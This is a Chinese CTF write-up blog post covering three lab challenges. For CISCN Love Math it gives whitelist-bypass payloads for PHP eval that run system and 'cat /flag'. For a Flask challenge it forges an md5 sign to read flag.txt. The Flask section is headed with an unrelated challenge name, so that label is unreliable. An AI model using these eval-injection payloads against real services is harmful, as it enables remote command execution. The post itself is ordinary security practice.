[CTF]WriteUp第10篇

[BSidesCF 2019]Kookie

解题

跟着题目提示改Cookie就行


[CISCN 2019 初赛]Love Math

思路

挺有意思的一道题

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

解题

看了别人的解法才会,各种方法一个个试试吧
参考文献:buuctf-[CISCN 2019 初赛]Love Math(小宇特详解)-CSDN博客
刷题记录:[CISCN 2019 初赛]Love Math – MustaphaMond – 博客园 (cnblogs.com)

PHP将字符串视作函数名

?c=($_GET['a'])($_GET['b'])&a=system&b=ls

# 其中 _GET 可以转换为 hex2bin('5f474554')
# hex2bin是把十六进制值转换为 ASCII 字符

# '5f474554' 可以转换为 dechex(1598506324) 在白名单上

# hex2bin 可以视作34进制的数值表示
# hex2bin 可以表示为 base_convert(26941962055,10,34) 在白名单上

# 变量用函数名好了,有白名单
?c=$pi='_GET';($$pi){pi}(($$pi){abs})&pi=system&abs=cat  /flag
# 结合一下
?c=$pi=base_convert(26941962055,10,34)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat  /flag

getallheaders()函数

?c=exec(getallheaders(){1})

# exec -> base_convert(588892,10,34)
# getallheaders -> base_convert(8768397090111664438,10,30)
# 优化
?c=$pi=base_convert;$pi(588892,10,34)($pi(8768397090111664438,10,30)(){1})

# header:
1: cat /flag

按照那位blogger的说法是这样的,但我没成功,方案可以记一记

直接cat /flag

?c=exec('cat /flag')
# exec -> base_convert(588892,10,34)
# cat /flag -> hex2bin(dechex(1833249936404176986471))
# hex2bin -> base_convert(26941962055,10,34)
?c=($pi=base_convert)(588892,10,34)($pi(26941962055,10,34)(dechex(1833249936404176986471)))

也没成功,太长了,但可以记一下

注意

数组索引的时候,[]可以用{}代替
参考:PHP中的的大括号(花括号{})使用详解_php里面的花括号-CSDN博客

另外,顺便做了个任意小写字符和数字的字符串转换为进制数的python程序:

# 将小写字符串视作进制数
import string


def get_num(s):
    return ord(s) - ord('a') + 10

mx = 0
str = 'echo'  # input here
for i in str:
    if i in string.ascii_lowercase:
        mx = max(mx, get_num(i))
        print(i, ":", get_num(i))
base = mx + 1
num = 0
for i in str:
    if i in string.digits:
        num = num * base + int(i)
    elif i in string.ascii_lowercase:
        num = num * base + get_num(i)
print(f'"{str}"=base_convert({num},10,{base})')

(补)[极客大挑战 2019]RCE ME

思路

先将代码格式化一下

#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = hashlib.md5(ip.encode()).hexdigest()
        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if self.checkSign():
            if "scan" in self.action:
                tmpfile = open(f"./{self.sandbox}/result.txt", 'w')
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                with open(f"./{self.sandbox}/result.txt", 'r') as f:
                    result['data'] = f.read()
                result['code'] = 200
            if result['code'] == 500:
                result['data'] = "Action Error"
            else:
                result['code'] = 500
                result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        return getSign(self.action, self.param) == self.sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.parse.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.parse.unquote(request.cookies.get("action", ""))
    param = urllib.parse.unquote(request.args.get("param", ""))
    sign = urllib.parse.unquote(request.cookies.get("sign", ""))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/')
def index():
    with open("code.txt", "r") as f:
        return f.read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.request.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()

def md5(content):
    return hashlib.md5(content.encode()).hexdigest()

def waf(param):
    check = param.strip().lower()
    return check.startswith("gopher") or check.startswith("file")

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

一步一步来看,先看两个路由

De1ta

从cookies中获得action和sign,从get参数中获得param

action = urllib.parse.unquote(request.cookies.get("action", ""))
param = urllib.parse.unquote(request.args.get("param", ""))
sign = urllib.parse.unquote(request.cookies.get("sign", ""))

对于param有过滤函数,不能gopher或file协议开头

def waf(param):
    check = param.strip().lower()
    return check.startswith("gopher") or check.startswith("file")

之后会创建一个Task对象,返回.Exec()结果。
会先验证一下sign,也就是说md5(sk+param+action)要等于sign,要在cookie中传入正确的sign

def getSign(action, param):
    return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()

看代码含义,一是要让action既要有scan又要有read
二是要让param读出flag.txt

if "scan" in self.action:
    tmpfile = open(f"./{self.sandbox}/result.txt", 'w')
    resp = scan(self.param)
    if resp == "Connection Timeout":
        result['data'] = resp
    else:
        print(resp)
        tmpfile.write(resp)
    tmpfile.close()
    result['code'] = 200
if "read" in self.action:
    with open(f"./{self.sandbox}/result.txt", 'r') as f:
        result['data'] = f.read()
    result['code'] = 200

这下只有sign不确定了,很显然我们要让sign=md5(sk+flag.txt+scanread)才行(或者readscan)

geneSign

它会返回md5(sk+param+scan),显然我们让paramflag.txtread就行

解题

/geneSign?param=flag.txtread
# 得到sign  -> a945e68e3dfe1520b8ae561217182c4f

# cookie: 
# sign=a945e68e3dfe1520b8ae561217182c4f
# action=readscan
# get:
/De1ta?param=flag.txt

-> {"code": 200, "data": "flag{03322633-74be-43d3-95cf-4dcecdb0c059}\n"}

注意

我才知道路由是什么。。
另外,读代码不要心急

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇